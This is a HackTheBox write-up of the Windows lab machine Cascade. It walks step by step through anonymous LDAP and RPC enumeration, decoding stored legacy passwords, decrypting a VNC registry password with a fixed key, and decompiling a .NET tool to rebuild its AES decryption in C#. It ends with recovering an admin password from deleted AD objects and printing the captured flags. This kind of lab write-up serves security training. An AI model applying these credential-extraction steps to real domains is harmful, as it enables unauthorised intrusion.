HackTheBox - Cascade


Introduction

HTB Cascade

Cascade is a great Windows box, lots of fun to work through. It provides an opportunity to practice Windows enumeration techniques, password decryption, basic reverse engineering, and helps realise that insecure configuration and unintended user errors can easily happen due to gaps in processes and security awareness training.

Foothold

As always we start with our trusted Nmap scan and adding the hostname to the hosts file. For this system the -Pn flag is included as there was no response to ping requests, but the system is definitely online. The -Pn flag configures the scan to skip host discovery and immediately start scanning ports.

# Nmap 7.80 scan initiated Mon Jun 22 14:45:49 2020 as: nmap -T4 -Pn -p 1-10000 -oA nmap-10000 10.10.10.182
Nmap scan report for 10.10.10.182
Host is up (0.16s latency).
Not shown: 9991 filtered ports
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
5985/tcp open  wsman

# Nmap done at Mon Jun 22 14:46:52 2020 -- 1 IP address (1 host up) scanned in 63.66 seconds

Some of the first steps I take with Windows systems is to check if it is possible to query the system without credentials. You can do this with a variety of tools for different services, such as ldapsearch, rpcclient, smbclient, or you can use enum4linux to cover a lot of ground. I do want to note that enum4linux can be a bit slow, and doesn’t necessarily show all valuable information.

ben@kal:~/hackthebox/cascade$ smbclient -N -L 10.10.10.182
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
ben@kal:~/hackthebox/cascade$ rpcclient -U "" -N 10.10.10.182
rpcclient $> 
ben@kal:~/hackthebox/cascade$ ldapsearch -H ldap://10.10.10.182 -x -s base '' "(objectClass=*)" "*" +
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting:  (objectClass=*) * + 
#

#
dn:
currentTime: 20200622145512.0Z
subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=cascade,DC=local
dsServiceName: CN=NTDS Settings,CN=CASC-DC1,CN=Servers,CN=Default-First-Site-N
 ame,CN=Sites,CN=Configuration,DC=cascade,DC=local
namingContexts: DC=cascade,DC=local
namingContexts: CN=Configuration,DC=cascade,DC=local
namingContexts: CN=Schema,CN=Configuration,DC=cascade,DC=local
namingContexts: DC=DomainDnsZones,DC=cascade,DC=local
namingContexts: DC=ForestDnsZones,DC=cascade,DC=local
defaultNamingContext: DC=cascade,DC=local
schemaNamingContext: CN=Schema,CN=Configuration,DC=cascade,DC=local
configurationNamingContext: CN=Configuration,DC=cascade,DC=local
rootDomainNamingContext: DC=cascade,DC=local
--snip--

While anonymous SMB login is allowed, no shares are visible, we can anonymously connect with rpcclient, and LDAP anonymous bind works as well. Let’s see if there is something interesting to be found with either rpcclient or ldapsearch, for example, a list of users is always good to have, or credentials that might have been left behind.

ben@kal:~/hackthebox/cascade$ rpcclient -U "" -N 10.10.10.182
rpcclient $> enumdomusers
user:[CascGuest] rid:[0x1f5]
user:[arksvc] rid:[0x452]
user:[s.smith] rid:[0x453]
user:[r.thompson] rid:[0x455]
user:[util] rid:[0x457]
user:[j.wakefield] rid:[0x45c]
user:[s.hickson] rid:[0x461]
user:[j.goodhand] rid:[0x462]
user:[a.turnbull] rid:[0x464]
user:[e.crowe] rid:[0x467]
user:[b.hanson] rid:[0x468]
user:[d.burman] rid:[0x469]
user:[BackupSvc] rid:[0x46a]
user:[j.allen] rid:[0x46e]
user:[i.croft] rid:[0x46f]
ben@kal:~/hackthebox/cascade$ ldapsearch -x -b "dc=cascade,dc=local" "*" -h 10.10.10.182
--snip--
# Ryan Thompson, Users, UK, cascade.local
dn: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Ryan Thompson
sn: Thompson
givenName: Ryan
distinguishedName: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
instanceType: 4
whenCreated: 20200109193126.0Z
whenChanged: 20200708180425.0Z
displayName: Ryan Thompson
uSNCreated: 24610
memberOf: CN=IT,OU=Groups,OU=UK,DC=cascade,DC=local
uSNChanged: 320454
name: Ryan Thompson
objectGUID:: LfpD6qngUkupEy9bFXBBjA==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 132387106632235046
lastLogoff: 0
lastLogon: 132387106934719578
pwdLastSet: 132230718862636251
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAMvuhxgsd8Uf1yHJFVQQAAA==
accountExpires: 9223372036854775807
logonCount: 2
sAMAccountName: r.thompson
sAMAccountType: 805306368
userPrincipalName: [email protected]
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=cascade,DC=local
dSCorePropagationData: 20200126183918.0Z
dSCorePropagationData: 20200119174753.0Z
dSCorePropagationData: 20200119174719.0Z
dSCorePropagationData: 20200119174508.0Z
dSCorePropagationData: 16010101000000.0Z
lastLogonTimestamp: 132387050659492735
msDS-SupportedEncryptionTypes: 0
cascadeLegacyPwd: clk0bjVldmE=
--snip--

With both rpcclient and ldapsearch we’re able to find usernames and other account information. At first I assumed that I would be able to take the usernames and perform AS-REP roasting1, or something like it, to retrieve hashes and attempt to crack those. After failing to make any headway, I took the time to take a better look at the data I retrieved via LDAP, and that is when I finally saw the cascadeLegacyPwd value…

ben@kal:~/hackthebox/cascade$ echo clk0bjVldmE= | base64 -d
rY4n5eva

r.thompson:rY4n5eva

With these credentials we can try and connect to the system to get a shell and hopefully user access. Unfortunately the credentials don’t provide an actual shell access, it does provide access to shares - a foothold of sorts.

ben@kal:~/hackthebox/cascade$ evil-winrm -i 10.10.10.182 -u 'r.thompson' -p 'rY4n5eva'

Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1
ben@kal:~/hackthebox/cascade$ smbclient -U "r.thompson%rY4n5eva" -L \\10.10.10.182

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        Audit$          Disk      
        C$              Disk      Default share
        Data            Disk      
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        print$          Disk      Printer Drivers
        SYSVOL          Disk      Logon server share 
SMB1 disabled -- no workgroup available

User

Access to shares is always great, as it is very likely that valuable information has been left behind unintentionally, and that such information can be used to gain further access. We can’t access all shares, but after some searching we’ll find a file with an encrypted password located in the Data share.

ben@kal:~/hackthebox/cascade$ smbclient -U "r.thompson%rY4n5eva" \\\\10.10.10.182\\Audit$
Try "help" to get a list of possible commands.
smb: \> dir
NT_STATUS_ACCESS_DENIED listing \*

--snip--

ben@kal:~/hackthebox/cascade$ smbclient -U "r.thompson%rY4n5eva" \\\\10.10.10.182\\Data
Try "help" to get a list of possible commands.
smb: \>
--snip--
smb: \IT\Temp\s.smith\> ls
  .                                   D        0  Tue Jan 28 13:00:01 2020
  ..                                  D        0  Tue Jan 28 13:00:01 2020
  VNC Install.reg                     A     2680  Tue Jan 28 12:27:44 2020
smb: \IT\Temp\s.smith\> get "VNC Install.reg"
getting file \IT\Temp\s.smith\VNC Install.reg of size 2680 as VNC Install.reg (4.6 KiloBytes/sec) (average 4.6 KiloBytes/sec)
ben@kal:~/hackthebox/cascade$ cat VNC\ Install.reg 
��Windows Registry Editor Version 5.00
--snip--
"UseMirrorDriver"=dword:00000001
"EnableUrlParams"=dword:00000001
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
"AlwaysShared"=dword:00000000
"NeverShared"=dword:00000000
--snip--

Knowing that it is VNC related, we can do some googling to figure out that the encrypted password can be decrypted with Metasploit2.

ben@kal:~/hackthebox/cascade$ msfconsole
--snip--

msf5 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object

irb: warn: can't alias jobs from irb_jobs.
>> fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
>> require 'rex/proto/rfb'
=> true
>> Rex::Proto::RFB::Cipher.decrypt ["6bcf2a4b6e5aca0f"].pack('H*'), fixedkey
=> "sT333ve2"
[username]:sT333ve2

Let’s test the password with the usernames we have to see if there is a hit… And there is, s.smith is leading the way to user access.

ben@kal:~/hackthebox/cascade$ evil-winrm -i 10.10.10.182 -u 's.smith' -p 'sT333ve2'
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\s.smith\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\s.smith\Desktop> ls
    Directory: C:\Users\s.smith\Desktop
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        6/22/2020  10:29 PM             34 user.txt
-a----        3/25/2020  11:17 AM           1031 WinDirStat.lnk
*Evil-WinRM* PS C:\Users\s.smith\Desktop> cat user.txt
6b50ebdc6279991ba09bafd994cfb194

Service Account

Now that we have actual access to the system we’ll want to check if our account has any group memberships or permissions that stand out.

*Evil-WinRM* PS C:\Users\s.smith\Documents> net user s.smith
User name                    s.smith
Full Name                    Steve Smith
Comment
User's comment
--snip--

Local Group Memberships      *Audit Share          *IT
                             *Remote Management Use
Global Group memberships     *Domain Users
The command completed successfully.

The group membership Audit Share rings a bell as one of the shares we could not access before was called Audit$. So let’s try and access that share with the current user to see if there is anything useful in there.

ben@kal:~/hackthebox/cascade$ smbclient -U "s.smith%sT333ve2" \\\\10.10.10.182\\Audit$
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Wed Jan 29 11:01:26 2020
  ..                                  D        0  Wed Jan 29 11:01:26 2020
  CascAudit.exe                       A    13312  Tue Jan 28 14:46:51 2020
  CascCrypto.dll                      A    12288  Wed Jan 29 11:00:20 2020
  DB                                  D        0  Tue Jan 28 14:40:59 2020
  RunAudit.bat                        A       45  Tue Jan 28 16:29:47 2020
  System.Data.SQLite.dll              A   363520  Sun Oct 27 00:38:36 2019
  System.Data.SQLite.EF6.dll          A   186880  Sun Oct 27 00:38:38 2019
  x64                                 D        0  Sun Jan 26 15:25:27 2020
  x86                                 D        0  Sun Jan 26 15:25:27 2020
--snip--
smb: \DB\> dir
  .                                   D        0  Tue Jan 28 14:40:59 2020
  ..                                  D        0  Tue Jan 28 14:40:59 2020
  Audit.db                            A    24576  Tue Jan 28 14:39:24 2020

                13106687 blocks of size 4096. 7806417 blocks available

This is definitely interesting, and it seems to be the next step in this machine. By looking through the files, specifically the database, we’ll find an encrypted password for the ArkSvc service account. RunAudit.bat shows the database file being loaded by CascAudit.exe, in other words, the executable most likely decrypts the file to be able to perform certain actions. Luckily, CascAudit.exe is a .NET application which is easy to decompile and analyze.

Database Tables

DeletedUserAudit
Ldap
Misc
sqlite_sequence

Ldap Table Contents

Id	uname	pwd	                        domain
1	ArkSvc	BQO5l5Kj9MdErXx6Q6AGOw==	cascade.local

Executable Information

ben@kal:~/hackthebox/cascade/Audit$$ cat RunAudit.bat 
CascAudit.exe "\\CASC-DC1\Audit$\DB\Audit.db"
ben@kal:~/hackthebox/cascade/Audit$$ file CascAudit.exe 
CascAudit.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

I used ILSpy3 in my Windows 10 CommandVM virtual machine to decompile CascAudit.exe and look at the code. The decryption code, including a key, is easily found in the Main() function. We can then re-use parts of the application code in an online environment such as .NET Fiddle to decrypt the encrypted password.

Decompiled Code

--snip--
SQLiteDataReader val3 = val2.ExecuteReader();
try
{
    val3.Read();
    str = Conversions.ToString(val3.get_Item("Uname"));
    str2 = Conversions.ToString(val3.get_Item("Domain"));
    string encryptedString = Conversions.ToString(val3.get_Item("Pwd"));
    try
    {
        password = Crypto.DecryptString(encryptedString, "c4scadek3y654321");
    }
    catch (Exception ex)
    {
        ProjectData.SetProjectError(ex);
        Exception ex2 = ex;
        Console.WriteLine("Error decrypting password: " + ex2.Message);
        ProjectData.ClearProjectError();
        return;
    }
}
--snip--

Hacked Together Decryption Application

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
					
public class Program
{
	public static void Main()
	{
		string EncryptedString = "BQO5l5Kj9MdErXx6Q6AGOw==";
		string Key = "c4scadek3y654321";

		try
		{
			string password;

			byte[] array = Convert.FromBase64String(EncryptedString);
			Aes aes = Aes.Create();
			aes.KeySize = 128;
			aes.BlockSize = 128;
			aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");
			aes.Mode = CipherMode.CBC;
			aes.Key = Encoding.UTF8.GetBytes(Key);
			using (MemoryStream stream = new MemoryStream(array))
			{
				using (CryptoStream cryptoStream = new CryptoStream(stream, aes.CreateDecryptor(), CryptoStreamMode.Read))
				{
					byte[] array2 = new byte[checked(array.Length - 1 + 1)];
					cryptoStream.Read(array2, 0, array2.Length);
					password = Encoding.UTF8.GetString(array2);
				}
			}

			Console.WriteLine("Password: " + password);
		}
		catch (Exception ex)
		{
			Exception ex2 = ex;
			Console.WriteLine("Error decrypting password: " + ex2.Message);
		}
	}
}
Password: w3lc0meFr31nd

Root

With the freshly decrypted password we can authenticate as the service account which also happens to have an interesting group membership - AD Recycle Bin.

ben@kal:~/hackthebox/cascade$ evil-winrm -i 10.10.10.182 -u 'arksvc' -p 'w3lc0meFr31nd'
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\arksvc\Documents> net user arksvc
User name                    arksvc
Full Name                    ArkSvc
--snip--

Local Group Memberships      *AD Recycle Bin       *IT
                             *Remote Management Use
Global Group memberships     *Domain Users
The command completed successfully.

With a little bit of googling it is easy to figure out how to dumpster dive4 into the deleted AD information and retrieve a base64 encoded password. We can then try to use the password on the administrator account to see if the admin was reusing a password - which they indeed were.

*Evil-WinRM* PS C:\Users\arksvc\Documents> Get-ADObject -filter 'isdeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects -property *
--snip--
CanonicalName                   : cascade.local/Deleted Objects/TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
cascadeLegacyPwd                : YmFDVDNyMWFOMDBkbGVz
CN                              : TempAdmin
--snip--
ben@kal:~/hackthebox/cascade$ echo YmFDVDNyMWFOMDBkbGVz | base64 -d
baCT3r1aN00dles
ben@kal:~/hackthebox/cascade$ evil-winrm -i 10.10.10.182 -u 'Administrator' -p 'baCT3r1aN00dles'
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt
1935611b18b760b54d20e00a0cd94fb4

Lessons Learned

Hack The Box


  1. AS-REP Roasting ↩︎

  2. VNC Password Decrypt ↩︎

  3. ILSpy ↩︎

  4. AD Directory Object Recovery ↩︎